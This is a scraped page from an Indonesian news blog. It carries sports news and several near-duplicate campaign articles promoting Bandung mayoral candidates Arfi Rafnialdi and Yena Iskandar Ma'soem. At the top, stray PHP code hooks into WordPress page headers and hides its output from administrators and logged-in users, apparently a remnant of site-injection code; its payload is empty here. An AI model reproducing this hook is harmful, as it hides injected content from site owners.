Blog
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);-
Peparnas XVII Solo 2024, Lahirkan Bintang Baru Paralimpiade Indonesia
VISTA NUSANTARA — Pekan Paralimpiade Nasional (Peparnas) XVII Solo 2024 telah sukses digelar, bukan hanya dalam hal penyelenggaraan, tetapi juga sebagai ajang pencarian bibit-bibit baru atlet paralimpiade Indonesia.Komite Paralimpiade Nasional (NPC) Indonesia memanfaatkan momen ini untuk melirik atlet-atlet muda yang berprestasi. Harapannya, Peparnas Solo 2024 menjadi langkah awal regenerasi atlet Indonesia untuk event-event internasional seperti ASEAN Para Games, Asian Para Games, hingga Paralimpiade.Sebagaimana para atlet Paralimpiade Paris 2024 yang turut berkompetisi memberikan inspirasi bagi para atlet muda di Indonesia. Peparnas Solo 2024 juga menyoroti banyak atlet muda yang berpotensi.Nama-nama baru dari berbagai cabang olahraga disabilitas bermunculan dengan tidak hanya meraih emas, namun menciptakan rekor-rekor baru tingkat nasional maupun level Asia tenggara.Mereka berhasil menyabet medali dan menjadi bintang baru, yang diharapkan membawa Indonesia ke masa depan paralimpiade yang lebih cerah.*** -
PIPPK Arfi-Yena, Mewujudkan Bandung Bersih
BANDUNG, VISTA NUSANTARA – Ketua DPD Partai Golkar Jawa Barat yang juga Wakil Ketua Umum DPP Partai Golkar, Tubagus Ace Hasan Syadzily yakin, pasangan calon Wali Kota Bandung dan Wakil Wali Kota Bandung, Arfi Rafnialdi-Yena Iskandar Ma’soem mampu menyelesaikan persoalan-persoalan utama di Kota Bandung. Hal itu termasuk pengelolaan dan pengolahan sampah.Kang Arfi mengungkapkan kesiapannya untuk merealisasikan program pemilahan sampah di tingkat rumah tangga secara menyeluruh pada tahun pertama masa jabatannya, jika mendapat kepercayaan masyarakat sebagai Wali Kota Bandung. Ia menegaskan bahwa kolaborasi antara masyarakat dan Pemerintah Kota Bandung merupakan kunci utama setelah program pemilahan sampah di tingkat rumah tangga berhasil dilaksanakan.
Kolaborasi ini bertujuan untuk mengembangkan sistem pengolahan sampah berbasis teknologi yang lebih efisien dan efektif, guna mengatasi masalah sampah secara komprehensif. Kang Arfi percaya bahwa dengan melibatkan masyarakat secara aktif, langkah-langkah pengelolaan sampah akan lebih mudah dijalankan dan memberikan hasil yang optimal, menjadikan Bandung kota yang lebih bersih, sehat, dan nyaman bagi seluruh warganya.
“Kang Ace menyampaikan, pengelolaan maupun pengolahan sampah merupakan salah satu persoalan yang belum kunjung selesai. Banyak rumus dan teknologi untuk penanganan sampah. Kami meyakini, kunci penanganan sampah berada pada kepemimpinan. Kami siap turun tangan untuk memastikan program penyelesaian sampah berjalan baik, tak sebatas di tatanan perumusan,” tutur Kang Arfi, Senin (14/10/2024).
Kang Arfi menegaskan bahwa keberhasilan program penanganan sampah secara komprehensif sangat bergantung pada kolaborasi antara pemerintah dan masyarakat. Ia mengingatkan bahwa tanpa partisipasi aktif dari masyarakat, upaya ini akan menghadapi tantangan yang signifikan.
Dalam Pilkada Kota Bandung, pasangan calon nomor urut 4, Kang Arfi dan Teh Yena, mengusung program unggulan untuk mengaktifkan kembali Program Inovasi Pemberdayaan Pembangunan Kewilayahan (PIPPK) dan berencana meningkatkan anggaran PIPPK menjadi Rp 200 juta per tahun.
Kang Arfi menjelaskan bahwa fokus PIPPK akan diarahkan untuk menangani masalah sampah, terutama dalam pemilahan di tingkat rumah tangga. Dengan pemilahan sampah yang berjalan optimal di tingkat rumah tangga, pengelolaan sampah di tingkat kota diharapkan menjadi lebih efektif dan berkelanjutan, serta mampu mengatasi tantangan lingkungan yang dihadapi Bandung. Upaya ini sejalan dengan visi mereka untuk menciptakan kota yang bersih, sehat, dan nyaman bagi seluruh warga.
“PIPPK menjadi penguat upaya mewujudkan pemilahan sampah di tingkat rumah tangga pada satu tahun pertama menjabat,” ucap Kang Arfi.***
-
Dukungan Masyarakat Kunci Program Sampah Arfi-Yena
BANDUNG, VISTA NUSANTARA – Ketua DPD Partai Golkar Jawa Barat yang juga Wakil Ketua Umum DPP Partai Golkar, Tubagus Ace Hasan Syadzily yakin, pasangan calon Wali Kota Bandung dan Wakil Wali Kota Bandung, Arfi Rafnialdi-Yena Iskandar Ma’soem mampu menyelesaikan persoalan-persoalan utama di Kota Bandung. Hal itu termasuk pengelolaan dan pengolahan sampah.Kang Arfi mengungkapkan kesiapannya untuk merealisasikan program pemilahan sampah di tingkat rumah tangga secara menyeluruh dalam tahun pertama masa jabatannya, jika mendapatkan kepercayaan dari masyarakat sebagai Wali Kota Bandung. Ia menekankan bahwa setelah program pemilahan sampah di tingkat rumah tangga terlaksana, kolaborasi yang kuat antara masyarakat dan Pemerintah Kota Bandung menjadi sangat penting.Tujuan dari kolaborasi ini adalah mengembangkan pengolahan sampah berbasis teknologi yang lebih efisien dan efektif, sehingga dapat mengatasi masalah sampah secara komprehensif. Kang Arfi meyakini bahwa dengan melibatkan masyarakat secara aktif, langkah-langkah pengelolaan sampah akan lebih mudah dijalankan dan hasilnya akan maksimal, menjadikan Bandung kota yang lebih bersih, sehat, dan nyaman bagi warganya.“Kang Ace menyampaikan, pengelolaan maupun pengolahan sampah merupakan salah satu persoalan yang belum kunjung selesai. Banyak rumus dan teknologi untuk penanganan sampah. Kami meyakini, kunci penanganan sampah berada pada kepemimpinan. Kami siap turun tangan untuk memastikan program penyelesaian sampah berjalan baik, tak sebatas di tatanan perumusan,” tutur Kang Arfi, Senin (14/10/2024).Kang Arfi menegaskan bahwa keberhasilan program penanganan sampah secara komprehensif sangat bergantung pada kolaborasi antara pemerintah dan masyarakat. Ia mengingatkan bahwa tanpa partisipasi aktif dari masyarakat, upaya ini akan menghadapi tantangan yang signifikan.Dalam Pilkada Kota Bandung, pasangan calon nomor urut 4, Kang Arfi dan Teh Yena, mengusung program unggulan untuk mengaktifkan kembali Program Inovasi Pemberdayaan Pembangunan Kewilayahan (PIPPK). Mereka berencana untuk meningkatkan anggaran PIPPK menjadi Rp 200 juta per tahun.Kang Arfi menjelaskan bahwa fokus PIPPK akan diarahkan untuk menangani masalah sampah, terutama dalam pemilahan di tingkat rumah tangga. Dengan pemilahan sampah yang berjalan optimal di tingkat rumah tangga, diharapkan pengelolaan sampah di tingkat kota dapat lebih efektif dan berkelanjutan, serta mampu mengatasi tantangan lingkungan yang dihadapi Bandung. Upaya ini sejalan dengan visi mereka untuk menciptakan kota yang bersih, sehat, dan nyaman bagi seluruh warga.“PIPPK menjadi penguat upaya mewujudkan pemilahan sampah di tingkat rumah tangga pada satu tahun pertama menjabat,” ucap Kang Arfi.*** -
Inovasi Sampah Arfi-Yena untuk Kota Bandung
BANDUNG, VISTA NUSANTARA – Ketua DPD Partai Golkar Jawa Barat yang juga Wakil Ketua Umum DPP Partai Golkar, Tubagus Ace Hasan Syadzily yakin, pasangan calon Wali Kota Bandung dan Wakil Wali Kota Bandung, Arfi Rafnialdi-Yena Iskandar Ma’soem mampu menyelesaikan persoalan-persoalan utama di Kota Bandung. Hal itu termasuk pengelolaan dan pengolahan sampah.Kang Arfi mengungkapkan kesiapannya untuk merealisasikan program pemilahan sampah di tingkat rumah tangga secara menyeluruh dalam tahun pertama masa jabatannya, jika mendapatkan kepercayaan dari masyarakat sebagai Wali Kota Bandung. Ia menekankan bahwa setelah program pemilahan sampah di tingkat rumah tangga terlaksana, penting untuk membangun kolaborasi yang kuat antara masyarakat dan Pemerintah Kota Bandung.Tujuannya adalah untuk mengembangkan pengolahan sampah berbasis teknologi yang lebih efisien dan efektif, sehingga dapat mengatasi masalah sampah secara komprehensif. Kang Arfi percaya bahwa dengan melibatkan masyarakat secara aktif, langkah-langkah pengelolaan sampah akan lebih mudah dijalankan dan hasilnya akan lebih maksimal, menjadikan Bandung kota yang lebih bersih dan nyaman bagi warganya.“Kang Ace menyampaikan, pengelolaan maupun pengolahan sampah merupakan salah satu persoalan yang belum kunjung selesai. Banyak rumus dan teknologi untuk penanganan sampah. Kami meyakini, kunci penanganan sampah berada pada kepemimpinan. Kami siap turun tangan untuk memastikan program penyelesaian sampah berjalan baik, tak sebatas di tatanan perumusan,” tutur Kang Arfi, Senin (14/10/2024).Kang Arfi menegaskan bahwa keberhasilan program penanganan sampah secara komprehensif sangat bergantung pada kolaborasi antara pemerintah dan masyarakat. Ia mengingatkan bahwa tanpa partisipasi aktif dari masyarakat, upaya ini akan menghadapi tantangan yang signifikan.Dalam konteks Pilkada Kota Bandung, pasangan calon nomor urut 4, Kang Arfi dan Teh Yena, mengusung program unggulan untuk mengaktifkan kembali Program Inovasi Pemberdayaan Pembangunan Kewilayahan (PIPPK). Mereka merencanakan untuk meningkatkan anggaran PIPPK menjadi Rp 200 juta per tahun.Kang Arfi menjelaskan bahwa fokus PIPPK akan diarahkan untuk menangani masalah sampah, terutama pemilahan di tingkat rumah tangga. Dengan pemilahan sampah yang berjalan optimal di tingkat rumah tangga, diharapkan pengelolaan sampah di tingkat kota dapat lebih efektif dan berkelanjutan, serta mampu menjawab tantangan lingkungan yang dihadapi Bandung. Upaya ini sejalan dengan visi mereka untuk menciptakan kota yang bersih, sehat, dan nyaman bagi seluruh warga.“PIPPK menjadi penguat upaya mewujudkan pemilahan sampah di tingkat rumah tangga pada satu tahun pertama menjabat,” ucap Kang Arfi.*** -
Kang Arfi Tawarkan Solusi Sampah di Bandung
BANDUNG, VISTA NUSANTARA – Ketua DPD Partai Golkar Jawa Barat yang juga Wakil Ketua Umum DPP Partai Golkar, Tubagus Ace Hasan Syadzily yakin, pasangan calon Wali Kota Bandung dan Wakil Wali Kota Bandung, Arfi Rafnialdi-Yena Iskandar Ma’soem mampu menyelesaikan persoalan-persoalan utama di Kota Bandung. Hal itu termasuk pengelolaan dan pengolahan sampah.Kang Arfi mengungkapkan kesiapannya untuk merealisasikan program pemilahan sampah di tingkat rumah tangga secara menyeluruh dalam tahun pertama masa jabatannya, jika mendapatkan kepercayaan dari masyarakat sebagai Wali Kota Bandung. Ia menekankan bahwa setelah program pemilahan sampah di tingkat rumah tangga terlaksana, penting untuk membangun kolaborasi yang kuat antara masyarakat dan Pemerintah Kota Bandung. Tujuannya adalah untuk mengembangkan pengolahan sampah berbasis teknologi yang lebih efisien dan efektif, sehingga dapat mengatasi masalah sampah secara komprehensif.“Kang Ace menyampaikan, pengelolaan maupun pengolahan sampah merupakan salah satu persoalan yang belum kunjung selesai. Banyak rumus dan teknologi untuk penanganan sampah. Kami meyakini, kunci penanganan sampah berada pada kepemimpinan. Kami siap turun tangan untuk memastikan program penyelesaian sampah berjalan baik, tak sebatas di tatanan perumusan,” tutur Kang Arfi, Senin (14/10/2024).Kang Arfi menegaskan bahwa keberhasilan program penanganan sampah secara komprehensif sangat bergantung pada kolaborasi antara pemerintah dan masyarakat. Ia mengingatkan bahwa tanpa partisipasi aktif dari masyarakat, upaya ini akan menghadapi berbagai tantangan yang signifikan.Dalam konteks Pilkada Kota Bandung, pasangan calon nomor urut 4, Kang Arfi dan Teh Yena, mengusung program unggulan untuk mengaktifkan kembali Program Inovasi Pemberdayaan Pembangunan Kewilayahan (PIPPK). Mereka merencanakan peningkatan anggaran PIPPK menjadi Rp 200 juta per tahun.Kang Arfi menjelaskan bahwa fokus PIPPK akan diarahkan untuk menangani masalah sampah, terutama dalam hal pemilahan di tingkat rumah tangga. Dengan pemilahan sampah yang berjalan optimal di tingkat rumah tangga, diharapkan pengelolaan sampah di tingkat kota dapat menjadi lebih efektif dan berkelanjutan, serta mampu menjawab tantangan lingkungan yang dihadapi Bandung. Upaya ini sejalan dengan visi mereka untuk menciptakan kota yang bersih dan nyaman bagi semua warga.“PIPPK menjadi penguat upaya mewujudkan pemilahan sampah di tingkat rumah tangga pada satu tahun pertama menjabat,” ucap Kang Arfi.*** -
Dito Ariotedjo, Taekwondo Indonesia Siap Berkontribusi di Olimpiade
VISTA NUSANTARA — Menteri Pemuda dan Olahraga (Kemenpora) Dito Arirotejo berharap kejuaraan internasional Kasad 6th di Asian Taekwondo Open Championship 2024 sebagai pembinaan dan peningkatan kualitas atlet nasional agar dapat lolos kualifikasi Olimpiade 2028.“Di Indonesia, taekwondo berkembang dan berprestasi di tingkat internasional. Pada Asian Games 2023 di China, taekwondo menyumbangkan medali emas dan perunggu. Ke depan semoga lolos untuk Olimpiade 2028, kami berharap taekwondo bisa berkontribusi dalam pemberian medali emas untuk Indonesia,” kata Dito di Tangerang, Selasa.Dito hadir dalam pembukaan Kejuaraan Kasad Asia Open WT G2 yang diikuti 450 atlet dari 21 negara termasuk dari beberapa delegasi negara tetangga seperti Malaysia hingga Timor Leste.Menurutnya, Kejuaraan Asia Taekwondo Open Championship tersebut merupakan ajang untuk menemukan bibit atlet yang potensial untuk dipersiapkan mewakili Indonesia pada ajang-ajang internasional termasuk Olimpiade yang bakal diselenggarakan di Los Angeles, Amerika Serikat.Baginya, banyak atlet muda yang kini bermunculan pada ajang-ajang olahraga tingkat nasional hingga internasional sehingga Pengurus Besar Taekwondo Indonesia (PBTI) memiliki lapis kedua jika menghadapi ajang tertentu.“Saat ini sudah ada 500.000 praktisi yang dilatih, 6.000 pelatih berlisensi yang siap mengantarkan generasi muda untuk menunjukkan prestasi di tingkat regional serta global. Ini juga menunjukkan bagian dari perkembangan karakter bangsa melalui olahraga,” ungkapnya.Dito menambahkan, dalam memfasilitasi pembinaan atlet, pemerintah pusat siap memberikan dukungan secara penuh kepada PBTI dengan semua akses yang dimiliki demi membuat taekwondo Indonesia lebih maju di ajang internasional.“Pemerintah tentunya akan mendukung untuk langkah menuju Olimpiade 2028 untuk taekwondo Indonesia,” ungkap dia.Sementara itu, Ketua Umum Pengurus Besar Taekwondo Indonesia (PBTI) Letjen TNI Richard TH Tampubolon menyampaikan pada Kasad Asia Open WT G2 ini diikuti sekitar 28 atlet taekwondo nasional.“Jadi mereka akan melakukan atau mengikuti pertandingan dengan level G2, dan ini jadi suatu kehormatan dan kebanggaan bagi kita semua,” paparnya.Ia menambahkan, para atlet nasional yang mengikuti event ini nantinya akan dilanjutkan untuk mengikuti kejuaraan taekwondo di Korea Selatan sebagai meningkatkan kualitas dan skil dalam persiapan mengikuti Olimpiade 2028.“Ini adalah G2, dan ini merupakan proses untuk memperbaiki kualitas atlet. Karena kalau berangkat dari Olimpiade juga harus dilihat dari peringkat atletnya, apakah mereka mengikuti pertandingan di tingkat Asia maupun lainnya,” ujar dia.*** -
Kemenpora Dorong Kesetaraan Olahraga bagi Disabilitas
VISTA NUSANTARA — Kementerian Pemuda dan Olahraga (Kemenpora) meminta seluruh pihak memastikan praktik kesetaraan kesempatan berolahraga bagi para penyandang disabilitas di berbagai daerah.“Tidak boleh lagi ada stigma negatif terhadap para penyandang disabilitas, termasuk kesempatan berolahraga,” kata Asisten Deputi Olahraga Penyandang Disabilitas Kemenpora Ibnu Hasan saat membuka “Seminar Olahraga Disabilitas” di Yogyakarta, Selasa.Ibnu menegaskan bahwa Kemenpora selama ini terus mendukung terwujudnya inklusivitas di bidang olahraga.Komitmen itu, menurutnya, sebagai implementasi Undang-Undang (UU) Nomor 8 Tahun 2016 tentang Penyandang Disabilitas yang menjamin bahwa penyandang disabilitas juga mendapatkan perlakukan dan kesetaraan yang sama.Selain itu, UU Nomor 11 Tahun 2022 tentang Keolahragaan juga memberikan ruang tersendiri bagi penyandang disabilitas.“Pasal 31 undang-undang ini menyatakan pembinaan dan pengembangan olahraga penyandang disabilitas dilaksanakan dan diarahkan sebagai upaya mewujudkan kesetaraan berolahraga untuk meningkatkan rasa percaya diri, kesehatan, kebugaran, dan prestasi olahraga,” ujar Ibnu.Ketua Bidang Pembinaan Prestasi National Paralympic Committee (NPC) DIY Rumpis Agus Sudarko mengakui tantangan terbesar membiasakan berolahraga bagi anak penyandang disabilitas adalah orang tua yang terkadang malu mengakui keberadaan anaknya sebagai penyandang disabilitas.“Banyak orang tua yang hingga kini masih malu mengakui keberadaan anaknya yang penyandang disabilitas, ini salah satu tantangan terbesar kita,” kata Rumpis.Padahal, ia menuturkan dari aspek kesehatan, banyak sekali manfaat yang didapatkan manakala mengikutsertakan anak penyandang disabilitas dalam bidang olahraga.Menurut Rumpis, olahraga akan menjadikan penyandang disabilitas menjadi sehat dan meningkatkan daya tahan tubuh, serta kebugaran.“Dari sisi sosial, olahraga membantu inklusi sosial karena akan mengurangi stigma yang kadang dialami penyandang disabilitas,” kata pengajar Departemen Pendidikan Kepelatihan Olahraga Fakuktas Ilmu Keolahragaan dan Kesehatan (FIKK) UNY ini.Lebih dari itu, lanjut Rumpis, para penyandang disabilitas yang berprestasi di bidang olahraga bisa mendapatkan penghasilan setelah berlaga menjadi juara.“Yang lebih penting, olahraga akan melatih anak-anak penyandang disabilitas menjadi lebih mandiri,” ujar Rumpis.Risvani, orang tua anak penyandang disabilitas grahita, Muhammad Rafi Zulfandi mengakui dukungan lingkungan berpengaruh besar pada pencapaian prestasi anaknya.Berkat dukungan yang kuat dari berbagai pihak, Rafi Zulfandi mampu menyabet juara cabang olahraga bulu tangkis di nomor tunggal putra dan ganda campuran pada Pekan Paralimpiade Daerah 2023.“Proses Rafi menemukan bakatnya sangat panjang. Sempat saya ikutkan taekwondo, tetapi kurang nyaman. Saya coba renang, juga pernah ikut basket, bola tangan, atletik, dan badminton. Saya berupaya terus hingga Rafi menemukan bakatnya, alhamdulillah cocoknya di badminton dan akhirnya berprestasi,” tutur Risvani.*** -
Arfi Rafnialdi Lawan Urban Heat di Bandung
BANDUNG, VISTA NUSANTARA — Pada bulan Oktober 2023, Kota Bandung mencatat suhu maksimum yang mengkhawatirkan, mencapai 36 derajat Celsius, rekor tertinggi dalam tiga tahun terakhir (2021-2023). Meskipun suhu ini tidak terjadi setiap hari, namun lonjakan ini menjadi perhatian serius. Rata-rata suhu tahunan Kota Bandung pada 2023 tercatat 24,25 derajat Celsius, lebih rendah dibandingkan 2022 yang mencapai 25,3 derajat Celsius, tetapi lebih tinggi dari tahun 2021 yang hanya 23,58 derajat Celsius.Menanggapi fenomena ini, pasangan calon Wali Kota dan Wakil Wali Kota Bandung nomor urut 4, Arfi Rafnialdi dan Yena Iskandar Ma’soem, mengusulkan program ambisius untuk menanam 2,5 juta pohon secara serentak jika terpilih. Arfi terinspirasi oleh keberhasilan Kota Medellín, Kolombia, yang berhasil menurunkan suhu rata-rata kota hingga 3 derajat Celsius dalam tiga tahun setelah menanam 3 juta pohon pada hari pertama kepemimpinan wali kota baru. “Kami akan menerapkan langkah serupa di Bandung dengan target minimal 2,5 juta pohon, sesuai dengan jumlah penduduk kota ini,” ujar Kang Arfi dalam sebuah pernyataan pada Senin (14/10/2024).Arfi menambahkan bahwa Kota Bandung memiliki kesempatan untuk memanfaatkan program pemerintah pusat yang menyediakan 25 bibit pohon gratis per penduduk. Dengan dukungan ini, ia optimis bahwa target penanaman 2,5 juta pohon dapat tercapai dengan efektif.Sebagai lulusan Teknik Sipil dan Magister Administrasi Bisnis dari ITB, Kang Arfi memahami tantangan terkait keterbatasan lahan di beberapa wilayah. Oleh karena itu, dia berencana untuk memetakan lokasi yang tepat untuk penanaman pohon, baik di area terbuka maupun dengan menggunakan pot di lokasi yang lebih sempit.Ia meyakini bahwa, mirip dengan hasil di Medellín, program penanaman pohon serentak ini dapat membantu menurunkan suhu rata-rata Kota Bandung dalam 3-4 tahun ke depan, sehingga menciptakan lingkungan yang lebih nyaman bagi warga dan pengunjung. Visi Arfi-Yena adalah untuk mewujudkan Bandung yang nyaman, inklusif, maju, dan berkelanjutan demi meningkatkan kualitas hidup masyarakat.Arfi juga menekankan bahwa inisiatif ini adalah respon terhadap rekomendasi dari peneliti iklim di Universitas Pendidikan Indonesia, yang mengamati fenomena “urban heat island” di Bandung. Peneliti tersebut mencatat bahwa wilayah timur Bandung lebih panas akibat kurangnya pohon pelindung, sehingga langkah ini diharapkan dapat menjadi solusi untuk mengatasi isu tersebut.*** -
Penanaman Pohon Arfi Rafnialdi di Bandung
BANDUNG, VISTA NUSANTARA — Pada bulan Oktober 2023, suhu maksimum di Kota Bandung mencapai angka 36 derajat Celsius, mencatatkan rekor sebagai suhu tertinggi dalam tiga tahun terakhir (2021-2023). Meskipun tidak setiap hari mengalami suhu tinggi ini, perubahan yang signifikan tetap terlihat. Rata-rata suhu tahunan Kota Bandung di tahun 2023 tercatat sebesar 24,25 derajat Celsius, yang lebih rendah dibandingkan dengan tahun 2022 yang mencapai 25,3 derajat Celsius, namun lebih tinggi dibandingkan tahun 2021 yang hanya 23,58 derajat Celsius.Dalam rangka mengatasi kondisi ini, pasangan calon Wali Kota dan Wakil Wali Kota Bandung nomor urut 4, Arfi Rafnialdi dan Yena Iskandar Ma’soem, telah merencanakan program ambisius penanaman 2,5 juta pohon secara serentak jika terpilih. Arfi mengacu pada keberhasilan Kota Medellín di Kolombia, yang menanam 3 juta pohon pada hari pertama kepemimpinan wali kota baru, yang berhasil menurunkan suhu rata-rata kota tersebut sebesar 3 derajat Celsius dalam tiga tahun. “Kami berkomitmen untuk melakukan hal serupa di Bandung dengan target minimal 2,5 juta pohon, sebanding dengan jumlah penduduk kota ini,” ungkap Kang Arfi pada Senin (14/10/2024).Kang Arfi mengungkapkan bahwa Kota Bandung berpotensi memanfaatkan program pemerintah pusat yang menyediakan 25 bibit pohon per penduduk secara gratis. Dengan dukungan tersebut, ia percaya bahwa target penanaman 2,5 juta pohon dapat tercapai secara serentak.Dengan latar belakang sebagai lulusan Teknik Sipil dan Magister Administrasi Bisnis dari ITB, Kang Arfi menyadari tantangan yang dihadapi terkait keterbatasan lahan di beberapa wilayah Bandung. Untuk itu, ia berencana melakukan pemetaan lokasi yang ideal untuk penanaman pohon, baik di lahan terbuka maupun dengan menggunakan pot di area terbatas.Ia optimis bahwa, mengikuti jejak Medellín, penanaman pohon secara massal ini dapat menurunkan suhu rata-rata Kota Bandung dalam 3-4 tahun mendatang, sehingga membuat kota ini lebih nyaman bagi penduduk dan pengunjung. Rencana ini selaras dengan visi Arfi-Yena untuk menciptakan Bandung yang nyaman, inklusif, maju, dan berkelanjutan, demi meningkatkan kualitas hidup masyarakat.Arfi juga menjelaskan bahwa inisiatif ini merupakan tanggapan terhadap masukan dari peneliti iklim di Universitas Pendidikan Indonesia, yang mengidentifikasi fenomena “urban heat island” di Bandung. Penelitian tersebut menunjukkan bahwa wilayah timur Bandung lebih panas karena kurangnya pohon pelindung, sehingga inisiatif penanaman pohon ini diharapkan dapat membantu mengatasi isu tersebut.*** -
Bandung Sejuk, Visi Hijau Arfi-Yena
BANDUNG, VISTA NUSANTARA — Pada Oktober 2023, suhu maksimum di Kota Bandung mencapai 36 derajat Celsius, tertinggi dalam tiga tahun terakhir (2021-2023). Meski tidak terjadi setiap hari, peningkatan ini menunjukkan perubahan suhu yang signifikan. Rata-rata suhu tahunan di Kota Bandung pada 2023 tercatat 24,25 derajat Celsius, lebih rendah dari 2022 (25,3 derajat Celsius), namun masih lebih tinggi dibandingkan 2021 (23,58 derajat Celsius).Pasangan calon Wali Kota dan Wakil Wali Kota Bandung nomor urut 4, Arfi Rafnialdi dan Yena Iskandar Ma’soem, merespons situasi ini dengan mengusulkan program penanaman 2,5 juta pohon secara serentak jika mereka terpilih. Menurut Arfi, inspirasi ini datang dari Kota Medellín di Kolombia, yang berhasil menurunkan suhu rata-rata kota sebesar 3 derajat Celsius dalam tiga tahun setelah menanam 3 juta pohon. “Kami akan melaksanakan program serupa di Bandung dengan menargetkan minimal 2,5 juta pohon, sesuai dengan jumlah penduduk kota ini,” ungkap Kang Arfi pada Senin (14/10/2024).Kang Arfi menjelaskan bahwa program ini dapat memanfaatkan dukungan dari pemerintah pusat yang memberikan 25 bibit pohon per penduduk secara gratis. Dengan bantuan tersebut, ia optimistis target penanaman minimal 2,5 juta pohon dapat diwujudkan secara serentak.Sebagai lulusan Teknik Sipil dan Magister Administrasi Bisnis dari ITB, Arfi menyadari bahwa beberapa wilayah Bandung memiliki keterbatasan lahan untuk penanaman pohon. Oleh karena itu, ia berencana memetakan area yang cocok, baik di lahan terbuka maupun di area sempit yang membutuhkan penanaman dengan pot.Ia optimistis bahwa, seperti di Medellín, program ini akan menurunkan suhu rata-rata Kota Bandung dalam 3-4 tahun ke depan, menjadikan kota ini lebih nyaman bagi penduduk dan wisatawan. Program ini sejalan dengan visi Arfi-Yena untuk menciptakan Bandung yang nyaman, inklusif, maju, dan berkelanjutan, demi meningkatkan kualitas hidup masyarakat.Arfi juga menyebutkan bahwa inisiatif ini adalah tanggapan atas rekomendasi peneliti iklim dari Universitas Pendidikan Indonesia yang memperingatkan tentang fenomena “urban heat island” di Bandung. Peneliti tersebut menunjukkan bahwa wilayah timur Bandung mengalami suhu yang lebih tinggi akibat minimnya pohon pelindung, sehingga program ini diharapkan dapat mengatasi masalah tersebut.***

.jpeg)





.jpeg)
.jpeg)
.jpeg)